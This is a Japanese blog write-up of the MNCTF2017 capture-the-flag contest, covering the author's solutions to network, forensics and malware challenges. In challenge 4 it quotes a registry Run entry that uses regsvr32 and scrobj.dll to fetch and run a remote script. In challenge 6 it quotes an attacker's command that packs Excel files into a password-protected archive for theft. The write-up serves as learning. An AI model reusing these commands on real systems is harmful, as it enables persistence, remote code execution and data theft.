作戦は奇を以って良しとすべし MNCTF2017 WriteUp
作戦は奇を以って良しとすべし
凡そ戦いは、正を以て合い、奇を以て勝つ。故に善く奇を出だす者は、窮まり無きこと天地の如く、竭きざること江河の如し。終わりて復た始まるは、四時是れこれなり。死して更生ずるは日月これなり。
さてMNCTFの時期がやってきましたよ。2015年の第一回から参加して今回で三回目!
そろそろ上位に食い込みたい!w
だから今年は、一丁前にMNCTFの対策?を練ってみました。
- 使用するツール類は、他のCTFと違って無料のツールでなんとかなる!
- 多分、今年もクロスワードが出る。
- 去年よりテクニカル系の問題が増えるかもしれない。個人的な感覚として2015年がツールを駆使する系、2016年はブラウザーだけでもなんとか頑張れる系と思いましたw(勝手な憶測ですが、2015年が難しかったから、2016年は簡単にしたのかな?とも考えてました)
- キーワードは「てしがわら君」!
- 問題傾向は、実際のインシデントに則った内容になる。
- 過去のWriteUpで紹介されたツールはインストールし、紹介されたWebサイトはブックマークする。
と、妄想作戦会議を経て今年も参加してきました、Macnica Networks DAY 2017!
そしてMNCTF2017に!
今年は、CTFの後になっと解説してくれるという至れり尽くせり感あるプログラムw
だから、WriteUpとか書いちゃうと権利関係でやばいかな?って思っていましたよ。でも、そんなことはなかったようなので、毎年恒例になった「覚え書き」と「反省」を兼ねた無駄な手順満載のWriteUpを書いておこうと思います。説明聞いたけどわからない部分もあったので実際に解けた問題と、あと少しだった問題のみをまとめます。
今年の問題は以下のようなラインナップ
1.練習問題
安定の点呼
2.昇進試験
予想通りのクロスワード!
今回は、Linuxのコマンド!
結構、知らないコマンドあった。
3.通信記録
予想通りのネットワーク問題。
「パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。」
本番では一生懸命、pcapファイルをwiresharkで展開して眺めて答えを見つけたけど実は、お馴染みのVirustotalに投げると・・・
ここに問題のpcapを投げてスキャンすると
WannaCryの通信だと検出してくれる。なんて便利なんだ!w
で、求められているのは突かれた脆弱性の名前なんで、WannaCryで使用された脆弱性といえば「EternalBlue」ということになる。
4.不審起動
不審なレジストリが見つかり、不審なスクリプトが実行された。そのスクリプトの通信先のFQDNを答えるのが問題。
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"
とりあえず、レジストリの中にある「https://pastebin.com/raw/8CUEUgix」にアクセスしてみる。すると、やたら難読化されたJScriptが出てくる(なんか作問者の好みが垣間見えるw)ので、まずは難読化を解く。するとurlとかいう記述がある。
この中のurlの部分をさらに変換
すると「https://mtip.macnica.net」が出てくる。
5.脅迫文書
脅迫文のようなメールが来たという設定。そして、写真にアドレスが記載されたメモが。
「.onion」というのが見えるので、Tor Browserでアクセスしてみる。
パスワードを入力しろ的なサイトに接続される。ここで、メモに書いてあるパスワード「0b3y!!」を入力すると
答えが表示される。
6.攻撃痕跡
フォレンジックスの問題。ログファイルと攻撃者が残したファイルがある。
攻撃者の残したファイルのなかにあからさまに怪しいファイル達がある。この中に「sqlite.ex_」があってどうみても怪しかったのでログファイルの中で検索してみる。
06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:€Program Files (x86)€\Tencent€\RTXC€Plugins€bizmailclient€sqlite.exe"" a -m5 -hpFnckyou123 ""C:€Program Files (x86)€\Java\€jre7€\bin\€client\€jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f
1行ヒットする。このログを読んでみるとsqlite.exeを使ってエクセルファイルをjvm.datにしてるような感じに見える。
このjvm.datを調べてみると
rarファイルらしい。拡張子をrarに変えて開こうとするとパスワードを求めてくる。
パスワードなんて?と思ったらコマンドの中にそれっぽいのがあったの(「Fnckyou123」)で入力する。
中に4つファイルがあり、問題は「盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。」なので「serverpassword」を答える。
7.賭博遊戯
これは、解けなかった。
Chromeのデベロッパーツールを使ってを値を上手く改ざんして解くらしい。前回にも似たような問題があったのにできなかった。
8.宛先暗号
マルウェアの通信先FQDNを問われてる。与えられたものは、マルウェア本体と一緒にあったファイル、それにエンドポイントのログ。ヒントを元にログを検索してみる。
06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168
するとこんなログがあった。とりあえず現段階では、イマイチわからないので実際にこのマルウェアを動かしてみた。すると
使い方的には svchost.exe rc4のカギ ファイル らしい。要するに「svchost.exe abcd vm.dat」これで外部と通信するようなのでやってみる。
wiresharkを起動しコマンドを指定通りに実行すると
見事に通信発生!
その中に見慣れた通信先がw
9.情報照合
解けなかった。APIを使ってハッシュを検索するようなんだが、説明を聞いてもイマイチ理解できなかった。解けた人は、その場でプログラムを書いていたようなことを聞いた。
10.脆弱会話
これも解けなかった。バッファーオーバーフローを起こさせるexploitを完成させるらしい。
まとめ
今回もさんざん偉そうに作戦を練ったもののいつも通りの成績で終了。来年に繋げられるかな?って感じでした。でも、他のCTFに比べてもとても業務に直結してるスキルを問われるので毎回とても勉強になっている。来年もぜひ参加したい!
2018/07/08追記
このブログ、去年の今頃にまとめたようなんだけど何故かアップされずにいてビックリ。そろそろMNCTF2018だから自分で振り返ろうとしたら書いたはずのブログが見つからなくてかなり焦ったしw
とりあえずこのままお蔵入りするのも寂しいから少し手直してアップします。